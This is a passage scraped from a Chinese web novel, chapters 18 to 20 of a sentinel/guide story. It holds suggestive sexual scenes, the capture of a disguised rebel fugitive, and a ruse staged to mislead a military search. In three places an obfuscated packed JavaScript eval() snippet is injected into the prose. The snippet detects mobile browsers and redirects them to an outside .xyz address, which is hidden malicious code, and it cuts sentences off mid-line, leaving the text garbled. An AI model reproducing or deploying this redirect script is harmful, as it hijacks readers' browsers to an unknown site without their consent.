青年用力闭眼,感到黑发哨兵的动作,似乎忽然粗·暴了些,可他一只手支撑在对方的肩膀上,仅仅是这样的动作,就用完了他全部的理智。 而他小幅度的挣扎,落在眼前之人的身上,简直仿佛欲拒还迎的鼓励,只换来了更深入的舔·吻。 霍衔月带着呜咽的哭腔,低低辩解道: “我没有失手,他们都还被我绑着,只有两名哨兵和一名军部的人……哨兵、应该只是爪牙,但我可以试着去潜入他们的记忆。” 隗溯口中有些鼓胀,没心思分神,于是用双人的精神力通道,慢吞吞问: 【那么,军部的一个人,是怎么回事?】 霍衔月睁开浅淡的眸子,空茫地望着黑发哨兵的发旋,从这个问题中,感到了一丝敏感和敌对的意思。 他也不清楚,自己怎么会忽然就紧张起来,或许是当初构造幻境的时候,也触碰到了军部那个人的意识。 除了一团混乱的折磨与酷刑,在周锐泽的意识深处,也有一团狂乱如火焰的炽热,带着能将人吸引进去的黑色深渊。 有时,竟让人会想到,黑发哨兵的某些模样。 霍衔月手忙脚乱地扭开头,觉得这样的联想实在有些过分,克制地回答道: “是你见过的那个人,从时间和路线来看,他是被哨兵引来这里的,没有太多的隐情。” 可话音刚落,他的手腕微微一疼,就再说不出话来了。 到最后,他都没能推开黑发哨兵的动作,被抵在洗漱室的洗手台前,原本整齐的收腰制服,凌乱地从台面上散落,冷冰冰地落在边缘。 手腕上刺目的浅红指痕,暗示着方才的这一切,究竟代表了怎样的含义。 而青年的呼吸乱得一塌糊涂,冷色的皮肤上,稍微一点暧·昧的痕迹,便如同红色的墨点,染上了干净清冷的白玉,无比的清晰明显。 隗溯擦拭干净青年身上的残留,喉咙滚动,声音透着一点餍足的沙哑,轻笑道: “他?我都能猜得出,这种人会想些什么,我真该捏碎他的骨头,不过现在也不迟,机会多得很。” 霍衔月被那话语中的情绪,吸引了注意力,没有意识到,黑发哨兵替他穿衣服、细心对齐衣扣的动作,有多么亲近熟练。 他已经很久,没有见到神情言语如此生动鲜活的隗溯了,或许,是刚刚肌肤相贴的温热,让对方放松下了心神。 然而从前,对方是很爱笑的,喜欢钻进他的怀里取暖,接吻的时候,仿佛得寸进尺的大型犬,就连尾巴都想紧紧缠住自己的腰间。 是什么,变得不一样了? 隗溯不动声色地瞥了一眼门外的方向,轻舔了下唇角,走到一旁去清理漱口,在精神力通道中问道: 【所以,那三人现在就在外面的病房,是吗?】 霍衔月被对方不经意的小动作,激得脸颊又红了几分,硬着头皮回答道: 【……嗯。】 水声停止,洗漱室的灯光关起,分明两人的衣着打扮已经整理好,表面上看去,已经看不出什么奇怪的。 也就只有青年的眼眶,仍带着一点哭过的红痕,而神情坦诚淡然的黑发哨兵,唇角微微红肿,还带着些清凉的薄荷牙膏味。 可霍衔月莫名就感到,浑身有种不太自在的尴尬,就仿佛不久前,暴露在清冷空气中的皮肤,仍还空空荡荡,凉飕飕的。 他竟然在门外,还绑着三名被控制在幻境中的陌生人的情况下,与隗溯做出了这么羞耻的事情。 而手腕上,被衣袖挡住的红痕,分明还残留着微紧的触感,可他却知道,黑发哨兵的动作,并没有真正强迫他、令他完全无法挣脱。 如果他阻止了,对方解开他的制服衣扣,又或者是在被扣住手腕的时候,用力推开,他清楚隗溯是不会做什么的。 只是,他就看不到那一点的笑容了。 空寂的病房中,夜色昏暗,乍一看起来,似乎只有他们两人。 隗溯扫了一眼最靠里的病床,用精神力通道询问: 【在这里……你的精神力幻境,仍然还保持着,所以,受到影响的人,包括我,都无法见到真正的景象,是吗?】 霍衔月点头: 【嗯,但这是有限制的,我可能还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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对方匆匆离开宴会厅的时候,或许,有不希望自己知道的理由,而他能做的,只有尽快将下面的情况,告知两人。 没想到,当他好不容易偷偷溜出来,从消防楼梯赶上来,去寻找消失的二人,却发现了这里藏着的可疑人物。 他不相信,这一切之中,只有巧合。 正当两方僵持之时,忽然,消防楼梯外,远处,隐约有脚步声响起。 纪戎猛地转过头去,听到那脚步声,似乎越来越近。 毫不掩饰动静的两道脚步声,不徐不疾地靠近,一人的步子明显带着白塔哨兵的沉稳调子,而另一人似乎有些紧张,脚步微乱。 消防楼梯的沉重木门被推开,走道里明亮的灯光洒入,而在他面前的身影,正是不知何时,从宴会上消失的霍衔月与隗溯。 纪戎控制住络腮胡男子的那只手臂,仍没有半点放松。 可迎着走道外的清冷白光,他的视线,落在了黑发哨兵的身后,动作有些不自然的浅色眸子青年身上。 青年的左手不自觉地藏在背后,而微微闪烁的眼尾,是尚未完全褪去的轻红。 而黑发哨兵的神情动作,明显充满了保护与独占的色彩。 两人站着的距离,变得近了不少。 就仿佛,不久前,刚刚才发生了“什么”的模样。 19. 第 19 章 霍衔月借着走道洒入的灯光,看清了消防通道中,对峙着的那两人。 他没有想到,在自己放松了警惕,和隗溯做着那些胡闹事情的时候,竟已经引起了纪戎的担忧,甚至找到了二层。 只不过,对方手臂下按着的络腮胡子,是怎么一回事? 纪戎定定地注视着青年的双眼,终于,克制地垂下眸子,手臂又紧了紧禁锢,用精神力通道说: 【楼下的宴会厅被封锁了,是军部做的,或许,很快就会搜到上面的楼层。】 霍衔月与隗溯听见,神情微变,在通道中询问道: 【军部所提出的理由是什么?】 纪戎沉沉道: 【据说,是联邦军部的重要通缉犯,正逃往了这个方向。】 三人面面相觑,都对这个消息感到难以理解。 走道尽头的空旷病房内。 霍衔月与隗溯靠在远离窗户的病床前,看着纪戎,将络腮胡子的粗壮男子,也用布巾捆绑起来,带回了病房。 出于一些莫名的羞耻心思,霍衔月仍然保持着,病房内最低限度的精神力屏障,没有将那三名被自己控制的哨兵、军部成员,暴露出来。 纪戎或许也猜出,青年有些不便解释的隐情,没有多问,为什么他们两人会忽然从宴会上消失。 众人的目光,落在了始终挣扎着试图开口,但看起来无比可疑的络腮胡厨房人员身上。 方才经过一番挣动,霍衔月才看清楚,对方的裤腿部分,似乎有几分不自然的地方。 就好像,在小腿和膝盖位置,因为关节的原因,而有些别扭和僵硬。 他一步步走近,在靠近络腮胡男人的裤腿时,对方仿佛意识到了什么,浑身僵硬着,不再做出那些浮夸的挣扎。 隗溯眉心微紧,不动声色地站在青年的身边,谨防那来路不明的络腮胡,忽然爆出什么危险的武器,伤到了青年的一根发丝。 霍衔月俯下了身,伸手按住对方厨房制服的裤腿,一点点向上掀起。 纪戎露出了古怪的神情,张开口,就要去阻止青年的动作。 众人就看见,络腮胡“男人”的裤腿下,是一圈蓬松的堆叠长袜。 浅蓝色的针织堆叠袜,将裤腿撑得结结实实的,营造出身材粗壮的效果,而再往上撩起,是一圈圈的粗布绷带。 络腮胡“男人”彻底安静下来,脸色难看地瞪着灰蒙蒙的眼珠。 隗溯和纪戎也意识到,对方的身份,可能并不如他们原本所想象的,是军部的爪牙或者白塔的卧底。 霍衔月仔细地将对方“腿”上的绷带解开,拉开针织长袜的遮挡,露出下面真实的模样。 连接着对方小腿的,是一架精巧朴实的增高假肢,而在假肢的上方,是一双被包裹在棉花里的靴子。 拆开假肢,络腮胡“男人”真实的身高,可能只有一米六出头。 而霍衔月的眸色微深,盯着对方那躲闪的神情,忽而,开口道: “你就是军部想要抓捕的通缉犯,对吗?” 所有人霎时陷入了沉默,而这其中诡异的那一丝可能性,让这个荒诞的答案,显得更合理了。 霍衔月在精神力通道中,低声安抚隗溯:【不要担忧,接下来,我会把控住对方的行动。】 随后,他便解开了络腮胡“男人”口部的束缚,和身上的大部分捆绑,只留下了反捆着手腕的布巾。 而吐出了一大口气的络腮胡,轻咳了几声,那张面瘫的大众脸上,露出了几丝狡黠。 “他”张口正要胡诌,便见到青年低声笑了,平静地望着“他”,道: “不用担心我口风不严,我看过你的通缉令,也知道你溜进白塔,背后有些理由。” 霍衔月转过头,从旁边拉过一张折叠椅,坐在被捆在床脚的络腮胡子面前,慢悠悠地细数着手指: “你想溜进来偷一样东西,能潜入白塔这样守卫森严的地方,肯定有能力伪造假身份、假文书。 既然如此,你本不可能这么快,便被军部拿捏住位置,追堵到这栋建筑物中。 让我想一想,从通缉令上看,你与反叛军的关系颇深。那么,此次潜入,就算你获得了他们的辅助,也并不奇怪。 是物资?是黑客技术的辅助?还是说,给出了更多的人手?在这栋建筑物里,没有什么太有价值的东西,你在这里闹出动静来—— 此时此刻,应当还你的其他同伴,正在真正有价值的地方,做着些什么吧?” 青年清冷的笑意,落在络腮胡子的眼中,带出一抹冰冷的战栗,令“他”微微看得呆愣。 而反应过来后,络腮胡“男人”匆匆开口,慌张地辩驳道: “这不是我的本意!原本,我们并不准备现在就动手的。” 而“他”的话音刚落,病房内的另外三人,便被“他”暴露出的本来嗓音,惊得微微一顿。 长着一张方方正正大众脸的络腮胡“男人”,开口发出的声音,竟干净得像是一名年轻女生。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14960286|161038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 而对方显然知道,自己暴露出的声音,远比腿上装了假肢,要更让人惊悚,但事已至此,“他”已经顾不上这些了。 络腮胡“男人”的目光,扫向了纪戎的金棕色短发间,若隐若现的那双野兽的耳朵。 就仿佛病急乱投医一般,“他”转向三人中,看起来最有话语权的霍衔月,匆忙道: “你们是白塔的变异人类,是吗?在我手里,有你们可能会很感兴趣的秘密,事关污染潮、和某些禁区附近,植物的畸变问题,你们会相信我的。” 纪戎转过头,看了青年的神情一眼,没有说话。 隗溯抱着双臂,闲适地靠在折叠椅旁,除了霍衔月安危以外的事情,他都不太在乎,至于污染物或者畸变什么的,并没有什么重要的。 自己现在还活着,不论是以什么样的形式,只要对方不讨厌,他什么都可以做。 而青年方才说过,会把控住对方的行动。 他相信霍衔月精神力控制的水平,在提前做出警惕的情况下,不会被对方骗过去。 霍衔月有些为难,虽然他没有料想过,对方会提出这样的交换条件,但在这种情况下,不论他对这个话题是否感兴趣,都不可能,直接相信对方的全部说辞。 他可以试着深潜入对方的记忆,但如今,在维持着数层精神力幻境的情况下,对自身精神力的负担,可能会有些过重。 而且,他仅仅是想要套出对方更多的话来,倒并不是真心想要,将对方交给军部或白塔。 甚至在这件事上,霍衔月微妙地感到,自己与这名“可疑份子”的立场,或许并非是对立的。 思考只是一瞬,他点头,道:“你说吧。” 既没有同意,也没有否认。 络腮胡“男人”,见青年没有伸手撕下自己脸上最后的伪装,仍然态度称得上温和,心中微微有些松懈下来,认真地沉声道: “我们是为了偷一种特效药的配方,才潜入白塔的。其他的几名同伴,全都是来自边缘地区的住民,联邦号称,那里是没有人居住的’无人区’,但其实,他们只是染上了污染病,被抛弃与封锁,而缓缓步入死亡而已。 受到污染潮间接影响的植物,会产生畸变,而受到影响的人类,则会染上无法治愈的污染病,一点点,一点点,最终全身晶状硬化而亡。 我从某个渠道得知,白塔内,有能够使人类免受污染物感染的特效药配方,而这件事,与变异人类的兽化异变,也有很大的联系。” 20. 第 20 章 霍衔月垂眸,思索着种种事件间的关联,几乎便已经相信了,其中的大部分信息。 他自然不会认为,对方作为疑似反叛军的一员,所说出的那些消息,全都是真实而可靠的。 对于联邦国内而言,平日里能接触到的新闻渠道里,有关反叛军的内容,除了他们面对军方时的暴力与违抗外,讨论度最高的,就是他们对变异人政策的反对。 从某种角度来说,对于其中较为激进的一小部分人,他们将变异人类,看作人类进化的终极希望,并崇拜这种精神力的异能。 在他们看来,建造白塔、并将变异人类严密控制起来,不令其中的奥秘为普通人所知的联邦军部,是冷酷无情的暴君。 如果结合络腮胡所补充的信息,在联邦大片狭长的无人区中,其实还有一些受到污染潮影响的居民,只是,被人为地忽略和舍弃了。 那么,对于对这一切视而不见的军部,他们会产生憎恨,也是理所当然的状况。 络腮胡所得到的消息,未必完全可靠,但是其获取信息的渠道,仍是耐人寻味。 霍衔月向前倾身,问道: “你方才说,’我们并不准备现在就动手的’,这是什么意思,你们还有什么计划?” 络腮胡的“男人”,见青年看起来已经信了不少,情绪有些扬起,道: “原本,我并没有十足的信心,可以摸清楚特效药配方的确切位置。可是,另外的两名同伴,似乎误以为是藏药的位置,太过危险而难闯,所以瞒着我,趁着天黑后出发,留下一张纸条便失去了踪影。 而我是为了吸引白塔和军部的注意力,才放出风声,逃往反方向的宴会厅的。或许,我给你们添麻烦了,是吗?” 霍衔月皱起眉心,胸口隐隐的不安感,让他有些难以忽视。 对方说的话没有问题,至于具体情况,之后可以去一一验证。 可是,他究竟忽略了什么细节,才会有如此浓烈的担忧,就好像,很快会有什么糟糕的事发生。 他抬头,望向掩着布帘的窗户方向,清冷暗淡的月光,从窗帘边落下。 忽然,霍衔月一直保持着的几道精神力感知,传来了远处的大片脚步声。 这一次,不是如同先前那般,小心潜伏的单人,而是明显训练有素的部队,听声音,至少有十余人。 这是纪戎所说的,联邦军部的搜查,他们正要向楼上前进了! 霍衔月猛地起身收起折叠椅,在精神力通道中对两人道: 【下面的搜查要上来了,我还没法用精神力稳定地控制那么多人,先把这个人、还有另外三个人藏起来。】 他解开对那两名昏迷哨兵、和军部周锐泽的视觉屏障,病房最里侧,三人的身影霎时展露在了隗溯、纪戎、络腮胡的面前。 隗溯早有心理准备,纪戎和络腮胡虽然被吓了一瞬,但他们也明白,现在不是过多解释的时候。 黑发哨兵顺手把周锐泽击晕,又给另两人补了两下,一边迅速解开床角的束缚,将人向角落壁橱里藏,一边在精神力通道中道: 【他们几个可以暂时藏壁橱里,但如果我们不能挡住军部的搜查,那他们总是会被搜出来的。】 霍衔月听出了几分转机,意识到了什么,问道: 【你有什么办法,可以解决军部的搜查吗?】 虽然反叛军和络腮胡子的存在,迟早会暴露出来的,但至少现在,霍衔月还不想与军部产生正面冲突。 黑发哨兵转过头,深深的眸子,沉默地望着青年,声音微紧道: 【我确实有一个办法。只是,或许没有那么好。】 纪戎整理杂物的动作一顿,抬起头来,本能地觉得,对方似乎不会说出什么好话来。 霍衔月迷茫地关上壁橱门,认真道: 【是什么方法?我都可以尝试的。】 隗溯微妙地有些不自在,望着床角,道: 【是有可能让白塔向哨,整体名誉受损的办法。】 两分钟后。 二层的走道之上,军靴撞击地面的沉沉脚步声,从一间间空病房中踏过,他们分出了好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14960287|161038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几队人,分头搜索房间。 而当其他各队的军部人员,搜干净了前排的空病房,来到尽头的那几间时。 一人伸手,发现有一间病房的房门,竟是从里面反锁了。 其他人对视了一眼,霎时聚拢到了这扇门前,两名人高马大的深蓝色制服,抬肩,共同向锁着的房门撞去。 门锁被破坏,房门砸开,里面昏暗房间中的景象,借着走道上的灯光洒入,就落在了门口众人的面前。 一入目,便是一条凌乱落在地上的制服腰带。 而向前几步的距离,便能看到坚硬合金材质的固定病床,竟被不知什么怪力,给硬生生撞成了S型,上面消毒床单勉强挂了一半。 狂风席卷过似的病房之中,每隔半米,便散落着些许眼熟的白塔配备品、制服外套、衬衣、夹扣。 轻轻的喘息声,从靠着壁橱的一边,骤然传来。 众人在被砸得微微凹陷的壁橱前,看到一道衣衫狼狈、半挂着血痕的金发身影。 金发哨兵的脑袋上,是代表着异变的兽耳,而他的衣服似乎在打斗中,被撕得近乎上身半裸,脸上却仍是狰狞而明显狂躁化的神情。 而循着他仇恨的视线看去,目光的前方,是两道纠缠在一起的身影。 漆黑的哨兵制服,上身是带着几道仿佛野兽爪痕的破碎紧身衣物,下半身被翻倒的病床和浅色的床单遮挡了大半,看不分明。 然而,在那黑发哨兵的身下,一道近乎被完全遮挡住的身影,只露出苍白的一截手腕,被粗·暴地按在玻璃窗上,轻轻颤抖挣动着。 不远处,一地狼藉的衣物,似乎暗示着,如果那哨兵移开遮挡住的身子,在那背后,或许便要露出正在暧昧纠缠着的青年的全部模样。 正在发生什么,不言而喻。 就在这时,黑发哨兵微偏过头,漆黑如同浓雾般的眸子,冰冷地扫向门口的方向。 而不知那两人相接触的部分,发生了什么,窗下的被禁锢住手腕的那道身影,用力蜷起指尖,低泄出一声带着哭腔的闷哼声。